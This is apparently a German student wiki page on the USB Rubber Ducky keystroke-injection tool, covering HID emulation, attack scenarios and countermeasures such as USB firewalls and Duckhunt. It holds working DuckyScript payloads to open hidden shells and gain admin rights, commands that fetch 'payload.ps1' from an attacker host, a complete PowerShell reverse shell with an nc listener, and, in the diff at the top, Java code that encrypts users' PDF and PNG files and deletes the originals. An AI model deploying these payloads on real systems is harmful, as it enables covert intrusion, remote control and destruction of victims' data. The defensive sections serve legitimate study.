STRING $client.DownloadFile(„http://[HostIP]:[port x]/payload.ps1“, “C:\Users\$env:UserName\payload.ps1“)<br> |
|||
'''REM Script ausführen bzw. Shell starten'''<br> |
|||
STRING set-executionpolicy remotesigned<br> |
|||
STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1<br></code> |
|||
/** |
|||
* @author anien |
|||
* |
|||
*/ |
|||
public class RubberDucky extends Thread { |
|||
/** |
|||
* @param args |
|||
*/ |
|||
private static String OS = System.getProperty("os.name").toLowerCase(); |
|||
private static final String ALGO = "AES"; |
|||
private static final byte[] keyValue = new byte[] {'D', 'A', 'S', 'I', 'S', 'T', 'D', 'E', 'R', 'E', 'I', 'N', 'E', 'K', 'E', 'Y'}; |
|||
private static String[] listOfExt = {".pdf", ".png"}; |
|||
private static String extension = ".crypt"; |
|||
private String startPath; |
|||
private boolean encrypt = true; |
|||
public RubberDucky(String startPath) { |
|||
this.startPath = startPath; |
|||
} |
|||
public static void main(String[] args) { |
|||
if (isWindows()) { |
|||
new Thread(new RubberDucky("/testing")).start(); |
|||
JOptionPane.showMessageDialog(null, "Bamboozled Again!"); |
|||
} else if (isMac()) { |
|||
new Thread(new RubberDucky("/testing")).start(); |
|||
JOptionPane.showMessageDialog(null, "Bamboozled Again!"); |
|||
} else if (isLinux()) { |
|||
new Thread(new RubberDucky("/testing")).start(); |
|||
JOptionPane.showMessageDialog(null, "Bamboozled Again!"); |
|||
} |
|||
} |
|||
public void run() { |
|||
File inputFile; |
|||
File outputFile; |
|||
File folder = new File(startPath); |
|||
File[] listOfFiles = folder.listFiles(); |
|||
for (File f: listOfFiles) { |
|||
if (f.isFile()) { |
|||
if (Arrays.stream(listOfExt).parallel().anyMatch(getFileExt(f) :: contains) && encrypt) { |
|||
try { |
|||
inputFile = new File(f.getPath()); |
|||
outputFile = new File(f.getPath() + extension); |
|||
doCrypto(inputFile, outputFile); |
|||
f.delete(); |
|||
} catch (Exception e) { |
|||
e.printStackTrace(); |
|||
} |
|||
} |
|||
if (f.toString().endsWith(extension) && !encrypt) { |
|||
try { |
|||
inputFile = new File(f.getPath()); |
|||
outputFile = new File(f.getPath().substring(0, f.toString().length() - 6)); |
|||
doCrypto(inputFile, outputFile); |
|||
f.delete(); |
|||
} catch (Exception e) { |
|||
e.printStackTrace(); |
|||
} |
|||
} |
|||
} else if (f.isDirectory()) { |
|||
new Thread(new RubberDucky(f.getPath())).start(); |
|||
} |
|||
} |
|||
} |
|||
private void doCrypto(File inputFile, File outputFile) { |
|||
try { |
|||
Key secretKey = generateKey(); |
|||
Cipher cipher = Cipher.getInstance(ALGO); |
|||
if (encrypt) { |
|||
cipher.init(Cipher.ENCRYPT_MODE, secretKey); |
|||
} else { |
|||
cipher.init(Cipher.DECRYPT_MODE, secretKey); |
|||
} |
|||
FileInputStream inputStream = new FileInputStream(inputFile); |
|||
byte[] inputBytes = new byte[(int) inputFile.length()]; |
|||
inputStream.read(inputBytes); |
|||
byte[] outputBytes = cipher.doFinal(inputBytes); |
|||
FileOutputStream outputStream = new FileOutputStream(outputFile); |
|||
outputStream.write(outputBytes); |
|||
inputStream.close(); |
|||
outputStream.close(); |
|||
} catch (Exception e) { |
|||
e.printStackTrace(); |
|||
} |
|||
} |
|||
private static Key generateKey() { |
|||
Key key = new SecretKeySpec(keyValue, ALGO); |
|||
return key; |
|||
} |
|||
private static String getFileExt(File file) { |
|||
String fileName = file.getName(); |
|||
if (fileName.lastIndexOf(".") != -1 && fileName.lastIndexOf(".") != 0) { |
|||
return fileName.substring(fileName.lastIndexOf(".")); |
|||
} |
|||
else { |
|||
return ""; |
|||
} |
|||
} |
|||
public static boolean isWindows() { |
|||
return (OS.indexOf("win") >= 0); |
|||
} |
|||
public static boolean isMac() { |
|||
return (OS.indexOf("mac") >= 0); |
|||
} |
|||
public static boolean isLinux() { |
|||
return (OS.indexOf("nux") >= 0 || OS.indexOf("nix") >= 0 || OS.indexOf("aix") >= 0); |
|||
} |
|||
} |
|||
</source> |
|||
== Gegenmaßnahmen == |
== Gegenmaßnahmen == |
||
Auch wenn es Maßnahmen gibt, um Angriffe mit HID-Emulator Hardware zu verhindern, bleibt die elementare maßgebliche Grundvulnerabilität bestehen. Denn der mit als HID-Geräte erkannter Hardware setzt in der derzeitigen Umsetzung des USB-Protokolls vollständiges Vertrauen dieses Geräts voraus. Die Prämisse, dass die Hardware-Mensch-Computer-Schnittstelle den Input des Nutzers überträgt und dem Nutzer vertraut wird, ermöglicht diese grobe Vulnerabilität. So scheint es keine Möglichkeit der Authentifizierung im USB-Protokoll bzw. -Handshake für HID-Geräte zu geben. Daher ist es möglich jedes mögliche USB-Geräte durch den entsprechenden Device-Deskriptor zu emulieren. Die folgenden Maßnahmen setzen durch die Überwachung von USB-Input Funktionen um, welche die erfolgreiche Ausführung von Werkzeugen wie Keystroke-Injection-Tools verhindern soll. |
|||
'''Grundvulnerabilität''' schwer zu beheben, da in allg. Umgang mit HID-Geräten naive Umgangsweise: |
|||
Annahme: Eingabegeräte werden von Nutzern bedient, dem Nutzer am Gerät wird vertraut. |
|||
Es gibt keine Möglichkeit der Authentifizierung im USB-HID-Protokoll/-Handshake. |
|||
HID-Geräte können einfach über den Device-Deskriptor emuliert werden. |
|||
=== Hardware-Maßnahmen === |
=== Hardware-Maßnahmen === |
||
Im folgenden werden Maßnahmen vorgestellt, welche den Einsatz oder die Manipulation von Hardware als Lösungsansatz verfolgen. |
|||
==== USB-Ports physisch schließen ==== |
==== USB-Ports physisch schließen ==== |
||
Diese Variante ist recht offensichtlich und wenig elegant, erfüllt jedoch ihren Zweck. Die physischen USB-Schnittstellen können durch Material verschlossen oder gar vom Rechner entfernt werden. Diese Maßnahme setzt voraus, dass der Nutzer seine USB-Ports nicht nutzt oder selten nutzt, da die Versiegelung nicht ohne weiteres aufgehoben werden darf. |
|||
[..] |
|||
==== USB-Firewall - USG ==== |
==== USB-Firewall - USG ==== |
||
Die Hardware USG ist fungiert als physische Firewall indem sie zwischen den USB-Port und dem jeweiligen USB-Gerät gesteckt wird. So ist es möglich den gesamten Datenverkehr zwischen USB-Gerät und Host Controller Driver zu überwachen und im Besonderen den Input des USB-Geräts unterbrechen, sollte die USB-Firewall etwas Verdächtiges bemerken.<br> |
|||
Schützt vor USB-Driver Exploits (= schädlicher Input an USB-Driver), Versteckter schädlicher Funktionalität (= verstecktes Gerät im Hintergrund zusätzlich angeschlossen oder Veränderung der USB-Deskriptor-Parameter um sich als neues Gerät auszugeben), schädlicher Funktionalität die direkt von Gerät ausgeführt wird (= HID-Gerät, dass sich unerwartet verhält (unterbindung durch Blockieren von Keystrokes die über bestimmte Geschwindigkeit ausgeführt werden)) |
|||
Der Hersteller des USG verspricht damit eine Lösung für mehrere USB-Geräte-Exploits: |
|||
# Schutz vor schädlichem Input an den USB Treiber |
|||
# Schutz vor versteckter schädlicher Funktionalität, zB Unterbindung eines versteckten Gerätes oder der aktiven Veränderung der USB-Deskriptor-Parameter, um sich als neues Gerät auszugeben |
|||
# Schutz vor schädlicher Funktionalität die direkt von Gerät ausgeführt wird. Zum Beispiel ein HID-Keyboard, dass sich unerwartet verhält (durch Erhöhung der durchschnittlichen Tastenschläge). |
|||
Damit erschwert das Gerät die Emulation verschiedener USB-Geräte. Der Einsatz des RubberDuckys würde jedoch ausschließlich durch die Geschwindigkeit der Tastenschläge erkannt werden. Ein Parameter, der durch wohl überlegte DELAY-Kommandos umgangen werden kann. Zudem wäre es interessant herauszufinden, ob es möglich ist über den USB-Handshake auch die Existienz einer USB-Firewall zu erkennen. So könnte eine angepasste Firmware auch diese Sicherheitsfunktion mit in die Ausführung eines DuckyScripts einbeziehen. |
|||
=== Software-Maßnahmen === |
=== Software-Maßnahmen === |
||
Die nachfolgenden Softwarelösungen nutzen ebenfalls die Strategie, USB-Input zu überwachen. Dabei reicht die Voraussetzung und auf die Erfüllung dieser folgenden Sicherheitsaktion von der Detektion durch die Geschwindigkeit der Tastenschläge und der Aktion der reinen Protokollierung des Inputs bis hin zur Detektion durch Einstecken eines USB-Geräts und der Aktion den Rechner sofort herunterzufahren. Die folgenden Softwareansätze sind entsprechend von wenig bis stark restriktiv gegliedert. |
|||
==== Duckhunt ==== |
|||
Die Software nutzt Keystroke-Logging um die durchschnittliche Keystroke-Geschwindigkeit zu protokollieren. Wenn sich die durchschnittliche Geschwindigkeit (die je nach Nutzer anders ist) signifikant verändert, wird der Input des Geräts blockiert. Nun kann zwischen verschiedenen Vorgehensweisen gewählt werden, sollte der Fall eines Verdachts eintreten: |
|||
# Der Input des USB-Geräts wird aufgezeichnet. |
|||
# Keyboard-Input wird blockiert |
|||
# Ein Dialog wird aufgerufen in dem der Nutzer ein Passwort eingeben muss, um weitere Eingaben machen zu können |
|||
# Es wird nur jeder 5.-7. Tastenschlag blockiert, um die Attacke untauglich zu machen |
|||
==== Beamgun ==== |
==== Beamgun ==== |
||
Wenn ein USB-Gerät von der Software erkannt wird, dass nicht in einer Whitelist steht, können folgende Maßnahmen von dem Tool ausgeführt werden: |
|||
USB-Detection: FocusStealing(Bei neuem USB-Keysboard-Anschluss Fokus des Keyboards auf ein bestimmtes Fenster umleiten)/LockComputer(Zu Login-Screen springen, wenn neues USB-Keyboard angeschlossen wird) |
|||
# FocusStealing - Bei neuem USB-Keysboard-Anschluss Fokus des Keyboards auf ein bestimmtes Fenster umleiten |
|||
# Lock Computer - Zu Login-Screen springen, wenn neues USB-Keyboard angeschlossen wird |
|||
==== USBKill ==== |
==== USBKill ==== |
||
Dieses Werkzeug führt ebenfalls Aktionen aus wenn ein USB-Gerät von der Software erkannt wird. Auch hier ist Whitlisting möglich. Die Maßnahmen sind jedoch deutlich radikaler, da das Tool gegen Forensik-Werkzeuge (z.B. Mouse Jiggler) entwickelt wurde. So können folgende Maßnahmen erfolgen: |
|||
USB-Detection(Bei einer Änderung der USB-Schnittstellen wird der PC sofort heruntergefahren. (Whitelisting möglich)) => Shutdown |
|||
# Bei einer Änderung der USB-Schnittstellen wird der PC sofort heruntergefahren |
|||
# Es werden bestimmte Dateien oder alle Dateien auf dem Gerät gelöscht und daraufhin der PC heruntergefahren. |
|||
==== Duckhunt ==== |
|||
Keystroke-Logging(Protokolliere die durchschnittliche Keystroke-Geschwindigkeit und blockiere den Keyboard-Input, wenn die Geschwindigkeit sich maßgeblich erhöht) => .. |
|||
==== Group Policies ==== |
==== Group Policies ==== |
||
Es ist bestimmter HID-Geräte mittels Group Policies zu verbieten. |
|||
==== USB deaktivieren ==== |
==== USB deaktivieren ==== |
||
Inaktive USB-Ports können über das |
Inaktive USB-Ports können über das Betriebssystem dauerhaft deaktiviert werden. |
||
== Ausblick == |
== Ausblick == |
||
Der RubberDucky nutzt nur wenig des gesamte Potential der erwähnten USB-Vulnerabilität. Zum einen ist die Firmware an das Gerät gebunden, zum anderen ist die Scriptsprache nicht besonders mächtig, da sie ausschließlich Keystrokes ausführt, ohne dabei beispielsweise Bedingungen zuzulassen. Außerdem beschränkt sich die Vulnerabilität nicht auf HID-Keyboards. Auch andere USB-Hardware ist einfach zu emulieren und genießt vollstes Vertrauen des Betriebssystems. Daher soll im folgenden anhand von zwei ebenfalls erhältlichen Beispielen gezeigt werden, wie die USB-Vulnerabilität weiter genutzt werden kann. |
|||
=== Bash Bunny === |
|||
Das Bash Bunny ist ebenfalls von der Firma hak5 produziert und kann als Kombination der erwähnten USB-Vulnerabilitäten aufgefasst werden. So kann das Werkzeug verschiedene USB-Geräte in Kombination emulieren (z.B. Ethernet, Flash-Storage und Keyboard). Außerdem enthält das Bash Bunny eine vollständige Linux-Box mit Shell-Zugang über eine serielle Konsole. So können auch Pentesting-Tools über die Box genutzt werden. |
|||
=== BadUSB === |
|||
Für einen BadUSB ist keine spezielle Hardware wie beim Rubber Ducky notwendig. Jeder USB-Stick, mit einem Controller von der Firma Phison ist prinzipiell davon betroffen. |
|||
Karsten Nohl stellte auf der BlackHat 2014 eine Methode vor, wie die Firmware der USB-Geräte ohne Zusatz von Hardware verändert werden kann. Er hat es geschafft eine eigene Firmware auf ein USB Stick zu spielen, der dann beim einstecken, ähnlich wie der Rubber Ducky, zusätzliche Befehle ausführt. Dadurch ist es möglich, Viren in das System zu schleusen und weitere USB Sticks "anzustecken". |
|||
== Quellen == |
|||
https://www.hak5.org |
|||
https://github.com/hak5darren/USB-Rubber-Ducky/wiki |
|||
https://github.com/samratashok/nishang |
|||
https://github.com/robertfisk/USG/wiki |
|||
https://www.heise.de/ct/ausgabe/2015-5-Angriffe-mit-dem-USB-Rubber-Ducky-2536847.html |
|||
https://ducktoolkit.com/ |
|||
http://konukoii.com/blog/2016/10/26/duckhunting-stopping-automated-keystroke-injection-attacks/ |
|||
https://github.com/hephaest0s/usbkill |
|||
https://github.com/JLospinoso/beamgun |
|||
===Bash Bunny === |
Latest revision as of 12:48, 17 October 2017
Grundlagen
Rubber Ducky ist ein Microcontroller (AMTEL 32bit) mit SD-Karte der aussieht wie ein USB-Stick und sich verhält wie eine Tastatur. So kann alles mit dem Gerät gemacht werden, was mit der Tastatur gemacht werden könnte. Die Scriptsprace, mit der sich die Tastenbefehle ausführen lassen, heißt Duckyscript. Das Script wird auf einer Micro-SD Karte auf dem Rubber Ducky im .bin Format gespeichert.
Der allgemeine Ablauf zum verwenden des Rubber Ducky kann wie folgt beschrieben werden:
- SD-Karte einstecken
- Ducky-Script encoden (.jar oder Website toolkit) zu .bin
- Payload (.bin) auf SD-Karte ablegen und SD-Karte in den Rubber Ducky stecken
- USB-Stick in Opfer-Rechner stecken
- Payload führt sich automatisch aus
Warum wird der Rubber Ducky jedoch vom PC als Tastatur (HID) erkannt? Wenn ein USB Gerät in ein PC gesteckt wird, kümmert sich der Host-Controller um das Handling des USB Sticks. Dieser sendet ein USB-Reset Request an das USB Gerät. Dem USB Gerät wird darauf die Adresse 0 zugewiesen. Danach holt sich der Host-Controller die benötigten Informationen vom USB Stick über den Device Descriptor der USB Gerätes. Er enthält Informationen über den Hersteller, wie groß der USB-Stick ist, mit welcher Spannung er betrieben werden muss usw. Jeder Device Descriptor besitzt mindestens ein Configuration Descriptor. Es kann immer nur ein Configuration Descriptor zur gleichen Zeit aktiv sein. Sie besitzen ein oder mehrere Interface Descriptoren, die u.a. Informationen beinhalten, um was es sich bei dem USB Gerät handelt. Der Wert bInterfaceProtocol enthält einen Hex Wert, der eindeutig auf die Geräteklasse weist (z.B. HID, Massenspeicher). Damit der Rubber Ducky als Massenspeicher und HID erkannt wird, besitzt der Configuration Descriptor im Rubber Ducky folglich zwei Interface Descriptoren, um als Massenspeicher und HID erkannt zu werden. Hat der Host-Controller die Informationen, weist er dem USB Gerät eine eindeutige Adresse zu und lädt die Treiber die zum Betrieb als HID, bzw. Massenspeicher notwendig sind.
Angriffsszenarien
Zu Beginn unserer Analyse des RubberDucky haben wir uns überlegt, in welchen abstrakten Szenarien ein solches Keystroke-Injection-Tool zum Einsatz kommen kann. Da ein Angreifer, um den RubberDucky einsetzen zu können auf irgendeine Weise an den Zielrechner gelangen muss, sind wir zu zwei grundlegenden Angreiferszenarien gekommen, die im folgenden kurz beschrieben werden.
Direkter Zugang
In diesem Szenario erhält der Angreifer direkten Zugang zu dem Zielrechner. Wir gehen davon aus, dass er nur eine kurze Zeitspanne für den Zugriff hat. Entweder der RubberDucky wird an eine unscheinbare Stelle angeschlossen (z.B. am hinteren Teil des Rechners) oder er wird nur für eine kurze Zeitspanne angeschlossen und wieder abgesteckt. Das Opfer des Angriffs wiederum sollte in diesem Szenario keinerlei Veränderungen sehen, nachdem der Rechner durch den Ducky manipuliert wurde.
In diesem Szenario kann man davon ausgehen, dass der Angreifer entweder bereits vor dem Angriff Informationen über den Zielrechner hat oder während des Angriffs Informationen wie das Betriebssystem des Rechners berücksichtigen kann.
Indirekter Zugang
Dieses Szenario nutzt einen Social Engineering Ansatz, um die schadvollen Aktionen an einem Zielrechner auszuführen: Hier wird versucht den Nutzer dazu zu bringen, den RubberDucky selbst an den Zielrechner anzuschließen. Dabei kann der Angreifer das Opfer persönlich motivieren oder hoffen, dass das Opfer aus Neugierde das emulierte Keyboard an den Zielrechner anschließt. Das Opfer wird dabei erwarten, dass sich nach kurzer Wartezeit ein Fenster mit den Daten des vermeintlichen USB-Storage-Device öffnet. Alle weiteren visuellen Aktionen, die in der Zeit ausgeführt werden könnten den Nutzer misstrauisch machen und das Opfer könnte durch eigene Aktionen am Hardware-Keyboard das Ausführen von schadvollen Aktionen verhindern.
Wir gehen davon aus, dass der Angreifer in diesem Szenario weniger Informationen hat, als im zuvor beschriebenem. So hat er möglicherweise nicht einmal Wissen über Betriebssystem oder Art des Zielrechners.
Shell starten
Nachdem nun grundlegende Angreiferszenarien definiert wurden, ergeben sich bei der Ausführung schadvollen Codes mittels RubberDucky einige Anforderungen, die sich durch Mangel an Informationen über das Zielsystem und die Erwartungen des Opfers ergeben. Im nachfolgenden Punkt sind die identifizierten Probleme aufgeführt und jeweils praktische Lösungsansätze gelistet. Als Leitmotiv für die weitere Analyse haben wir das Ziel definiert, mittels RubberDucky eine Shell zu starten und eine Aktion auszuführen, gewissermaßen als Proof-of-Concept für das Gefahrenpotential des Keystroke-Injection-Tools.
Anforderung: Betriebssystem ermitteln
Um mittels Tastenkombinationen eine Shell zu starten muss zuerst einmal entschieden werden, an welches Betriebssystem auf dem Zielrechner läuft. Je nach Betriebssystem lässt sich eine Shell über unterschiedliche Tastenkombinationen ausführen. Während es im Windows-Environment in den meisten Fällen das Ziel ist eine cmd-Kommandozeile oder eine Powershell zu öffnen, sollte in Linux- sowie MacOS-Environments beispielsweise eine Terminal-Kommandozeile geöffnet werden. Im folgenden sind einige Lösungsansätze samt DuckyScript-Beispielen benannt.
Lösungsansatz: Hotkeys
Eine Möglichkeit wäre der Einsatz von Hotkeys, wobei jeweils eine bestimmte Taste auf einem Hardware-Keyboard für ein Script reserviert ist, welches der RubberDucky beim einstecken ausführt. Wollte der Angreifer diesen Ansatz verfolgen, so müsste er eine angepasste Firmware auf dem Microprozessor des Duckys installieren. Eine bereits existierende Variante wäre die DetourDuck-Firmware (RubberDucky flashen: https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/ducky-flasher), mit der es möglich ist vor dem Einstecken des RubberDucky eine bestimmte Taste auf der Tastatur zu betätigen, auf welche der Ducky reagiert und ein bestimmtes von mehreren hinterlegten Skripten ausführt. Dieser Ansatz wäre jedoch nur in einem Szenario mit direktem Zugriff möglich.
Beispiel-Codes: inject1.bin
REM Code: open terminal on ubuntu-distros DELAY 500 CTRL-ALT t DELAY 50 ENTER
inject2.bin
REM Code: open terminal on mac DELAY 1000 GUI SPACE DELAY 500 DELETE STRING terminal DELAY 500 ENTER
inject3.bin
REM Code: open cmd on windows DELAY 500 CTRL ESC DELAY 1000 STRING cmd DELAY 2000 CTRL-SHIFT ENTER DELAY 5000 LEFTARROW DELAY 50 ENTER
Lösungsansatz: Tastenkombinationen
Ein sehr naiver und fehleranfälliger Lösungsansatz, der jedoch nicht die Anwesenheit des Angreifers am Zielrechner voraussetzt, ist die sequentielle Abfolge von Tastenkombinationen über das DuckyScript, die in ihrere Gänze ausgeführt, auf jedem Betriebssystem ein Terminal öffnet. Obwohl das unten aufgeführte DuckyScript es schafft, nach einem kompletten Durchgang auf jedem Betriebssystem eine Shell zu öffnen ohne das weitere neue Fenster offen bleiben (teils werden Tasten ausgeführt die ungewollt geöffnete Fenster schließen), so gibt es doch einige Schwachstellen: Zum einen benötigt es etwas mehr Zeit um komplett ausgeführt zu werden. Außerdem öffnen sich wie bereits erwähnt kurzzeitig nicht erwünschte Fenster, die kurz sichtbar sind. Sollte das Opfer also selbst den RubberDucky einstecken und auf den Bildschirm schauen, so würde er neben dem kurzzeitigen öffnen einer Komandozeile noch einige weitere merkwürdiger Aktionen sehen, welche die Chance erhöhen, dass das Opfer die Sequenz durch eigene Aktionen erhöht. Mit den richtigen Delays, Timing und etwas Glück funktioniert dieser Ansatz durchaus, ohne dass der Angreifer anwesend sein muss und erfordert keinerlei Veränderungen der Firmware.
DELAY 10000 REM open terminal on mac DELAY 1000 GUI SPACE DELAY 500 DELETE STRING terminal DELAY 500 ENTER REM open terminal on ubuntu-distros DELAY 500 REM ALT F2 CTRL-ALT t DELAY 50 ENTER REM open cmd on windows DELAY 500 CTRL ESC DELAY 1000 STRING cmd DELAY 2000 CTRL-SHIFT ENTER DELAY 5000 LEFTARROW DELAY 50 ENTER DELAY 5000 ESC
Lösungsansatz: OS-Fingerprinting
Ein weiterer Ansatz zur Erkennung von Betriebssystemen wäre die Detektion über den USB-Handshake des Kernels mit dem RubberDucky. So wäre es möglich eine Firmware für den Microcontroller zu schreiben, die den USB-Handshake aufzeichnet und mit bestimmten Parametern abgleicht, um so zu entscheiden, um welches Betriebssystem es sich handelt. Dazu wäre es nötig die Unterschiede in den Implementierungen des Handshakes und so des Verhaltens des Host Controller Drivers des jeweiligen Betriebssystemkernels zu ermitteln. Da wir zu diesem Thema nicht viele Informationen erhalten konnten und wir uns auf die Anwendungsmöglichkeiten der bestehenden Firmware-Versionen beschränken wollten, haben wir diesen Ansatz nicht weiter verfolgt.
Anforderung: Schadscript ausführen
Im nächsten Schritt soll ein Script ausgeführt werden, dass eine komplexere Aktion ausführen kann. Dazu muss das Script auf den Zielrechner gelangen. Die folgenden Ansätze beschreiben mögliche Vorgehensweisen, um dies zu erreichen.
Lösungsansatz: Über DuckyScript ausführen
Eine einfache Möglichkeit wäre es, das Script mittels DuckyScript während des Angriffs zu schreiben. Dazu könnte beispielsweise in einer Kommandozeile das gesamte Script über den STRING-Befehl in eine neue Datei geschrieben werden und diese Datei daraufhin ad hoc kompiliert sowie ausgeführt werden.
Beispiel (in Shell):
STRING echo 'echo helloworld' > exploit.bin ENTER powershell.exe -File exploit.bin
Lösungsansatz: Zusätzlicher Mass-Storage
Eine weitere Lösung wäre es den RubberDucky neben dem USB-Deskriptor eines HID-/Keyboard-Device, auch einen Deskriptor als Mass-Storage-Device zuzuweisen. Dies erfordert zwar eine Erweiterung der Firmware, ist jedoch bereits als TwinDuck-Firmware realisiert worden und kann wie die DetourDuck-Firmware über die Software DuckyFlasher eingerichtet werden.
Nun kann ein Script direkt auf den Massenspeicher des RubberDucky abgelegt und über eine Kommandozeile ausgeführt werden. Dazu ist es nur notwendig dynamisch das richtige eingehängte Laufwerk zu erreichen und das Script auszuführen. Durch Environment-Variablen wie $USER unter Unix-Systemen ist das kein Problem. Einzig der Laufwerkbuchstabe des eingehängten Massenspeichers unter Windows erfordert zusätzliche Vorbereitungen. Zudem muss darauf geachtet werden, dass der Massenspeicher einen eindeutige Namen erhält, damit er nicht mit anderen Geräten auf dem Zielrechner verwechselt wird.
REM Beispiel für UNIX-Systeme (hier MacOS und Massenspeichername=DUCKYDRIVE) STRING cd /Volumes/DUCKYDRIVE
REM Beispiel für UNIX-Systeme (hier Ubuntu und Massenspeichername=DUCKYDRIVE) STRING cd /media/$USER/DUCKYDRIVE
REM Beispiel für Windows-Systeme (Massenspeichername=DUCKYDRIVE) STRING for /f "tokens=3 delims= " %A in ('echo list volume ^| diskpart ^| findstr "DUCKYDRIVE"') do (set DUCKYdrive=%A:) STRING cd %DUCKYdrive%\
Lösungsansatz: Aus Internet laden
Es ist auch möglich eine Datei über einen Server bereit zu stellen und diese mittels Kommandozeile auf dem Zielrechner zu erhalten.
REM Datei mittels wget-Befehl in Terminal aus dem Internet laden STRING wget http://[HostIP]:[port x]/payload.ps1
REM Datei mittels WIndows-Powershell aus dem Internet laden STRING $client = new-object Net.WebClient STRING $client.DownloadFile(„http://[HostIP]:[port x]/payload.ps1“, “C:\Users\$env:UserName\payload.ps1“)
Lösungsansatz: Nutzer motivieren Eine letzte von uns identifizierte Möglichkeit stellt wieder einen Social-Engineering-Ansatz dar. Sollte das Opfer aus Neugierde den RubberDucky selbst an den Zielrechner gesteckt haben, so könnte der Angreifer erwarten, dass der Nutzer auch Dateien, die sich auf dem Gerät befinden, anklicken wird. Dazu ist also wieder erforderlich, dass der RubberDucky zusätzlich als Massenspeicher vom Betriebssystem erkannt wird. Auch denkbar wäre eine Änderung der Firmware, sodass der Massenspeicher sich erst öffnen lässt, wenn der Nutzer sein Passwort eingegeben hat, welches dann wiederum im DuckyScript verwendet werden kann. Der Angreifer könnte hoffen, dass die Neugierde auch bei dem Öffnen des Massenspeichers keinen Halt macht.
Anforderung: Unauffällig bleiben
Diese Anforderung beinhaltet im Besonderen das Verwischen von Spuren durch das Verstecken oder Schließen graphischer Oberflächen. Je nach Szenario ist es wichtig entweder nach der erfolgreichen Ausführung von schadvollen Aktionen entsprechende Fenster zu schließen oder Aktionen direkt möglichst im Hintergrund auszuführen, sollte das Opfer während dessen am Zielrechner sein.
Lösungsansatz: Shell per Tastenkombinationen verstecken
Eine schnelle, aber wenig elegante Lösung ist es, im DuckyScript über beispielsweise die Pfeiltasten ein Fenster dessen Fokus möglicherweise noch gebraucht wird (z.B. eine Kommandozeile) aus dem sichtbaren Bereich des Desktops zu schieben, um weitere Aktionen im Fenster auszuführen und zusätzlich das Fenster zu verkleinern.
REM Beispiel mit einem Powershell-Window ALT SPACE STRING m LEFTARROW REPEAT 50 STRING [console]::WindowHeight=1 ENTER STRING [console]::WindowWidth=1 ENTER
Lösungsansatz: Hidden Shell
Ein weiterer Ansatz setzt voraus, dass der Fokus des Fensters nicht benötigt wird. So kann beispielsweise über eine Kommandozeile ein Script ausgeführt werden und dieses Fenster zugleich als Hintergrundprozess weiter behandelt werden. Auch möglich wäre hier die Arbeit mit verschiedenen Desktops. So kann in Linux zu einem anderen Desktop gewechselt werden, dort die schadvollen Aktionen ausgeführt werden und wieder zum anfänglichen Desktop umgeschaltet werden.
REM Ein Powershell-Script kann über das folgende CMD-Kommando im Hintergrund ausgeführt werden STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1
Lösungsansatz: Kleine Delays verwenden
Ein letzter Ansatz für das möglichst unauffällige Ausführen von DuckyScripts dreht sich um das Timing. Der Befehl DELAY spielt dabei eine maßgebliche Rolle. So können kleine DuckyScripte mit minimalen Delays in weniger als einer Sekunde ausgeführt werden und damit möglicherweise nicht ersichtlich für das Opfer sein, selbst wenn dieses am Zielrechner sitzt. Ein Nutzer der einen unbekannten USB-Stick ohne Bedenken an dessen Computer steckt, wird möglicherweise nicht stutzig werden, wenn für eine Sekunde ein Kommandozeilenfenster geöffnet und wieder geschlossen wird.
Beispiel: DELAY 50
Anforderung: Unterschiedliche Sicherheitsfeatures umgehen
Natürlich schränken ins Besondere mögliche Sicherheitsfunktionen die Ausführung von schadvollen Aktionen ein. Wohl gemerkt ist jedoch die elementare Vulnerabilität, des emulierten Keyboards und damit beliebige Aktionen die über das Keyboard möglich sind, in den allermeisten Fällen vorhanden. Diese Aktionen sind lediglich durch Sicherheitsfunktionen wie Virenscanner und Firewalls limitiert. Mechanismen die manchmal ebenfalls durch Tastenschläge umgehbar sind.
Lösungsansatz: IDS/Firewalls umgehen
Dieser Punkt adressiert eher eine wohlüberlegte Kombination verschiedener oben angesprochener Ansätze. So ist es denkbar, dass das Laden bestimmter Dateitypen durch eine Firewall blockiert wird. Sollte beispielsweise das Laden von Dateien über das Internet unabdingbar sein, so wären Möglichkeiten, die einen offensichtlichen Download verschleiern nötig (beispielsweise die Einrichtung einer Tunnelverbindung).
Lösungsansatz: Privileg-Einschränkungen umgehen
Eine weitere relevante Sicherheitsfunktion, die auf jedem Betriebssystem eine Rolle spielt, ist die Einschränkung der möglichen Aktionen durch Privilege. Natürlich ist es das Ziel möglichst viele Privilegien als Nutzer zu erlangen. Auch hier gibt es verschiedene Möglichkeiten über Tastenkombinationen und Kommandozeilen-Befehle zusätzliche Berechtigungen zu erhalten.
REM Windows-Beispiel: UAC-Bypass (cmd.exe mit Administrator-Rechten) CTRL ESC DELAY 100 STRING cmd DELAY 100 CTRL-SHIFT ENTER DELAY 100 LEFTARROW ENTER
Anwendungsbeispiele
Reverse Shell
Ein Anwendungsfall der sehr mächtig ist, öffnet eine Shell des Zielrechners auf einem Gerät des Angreifers über eine Netzwerkverbindung. In unserem hier dargelegten Anwendungsbeispiel, stellt der Angreifer ein Resource-Server mit einem Powershell-Script bereit und horcht mit einem anderen Server auf einem bestimmten Port.
Der RubberDucky mit der Standard-Firmware kann nun am Zielrechner eine Powershell starten, den Powershell-Payload vom Resource-Server laden und das Powershell-Script ausführen und dabei das Fenster verstecken. Die Powershell baut nun eine TCP-Verbindung zum horchenden Server des Angreifers auf, sodass der Angreifer Eingaben auf einer Shell tätigen kann und die Ausgaben erhält.
Resource-Server (Bspw. mit Ubuntu)
sudo php -S 0.0.0.0:[Port x] -t ~/reverseShell/
Powershell-Script (payload.ps1)
$sm=(New-Object Net.Sockets.TCPClient("[HostIP]",[Port y])).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
ReverseShell-Server (Bspw. mit Ubuntu)
nc -l -p [Port y]
DuckyScript
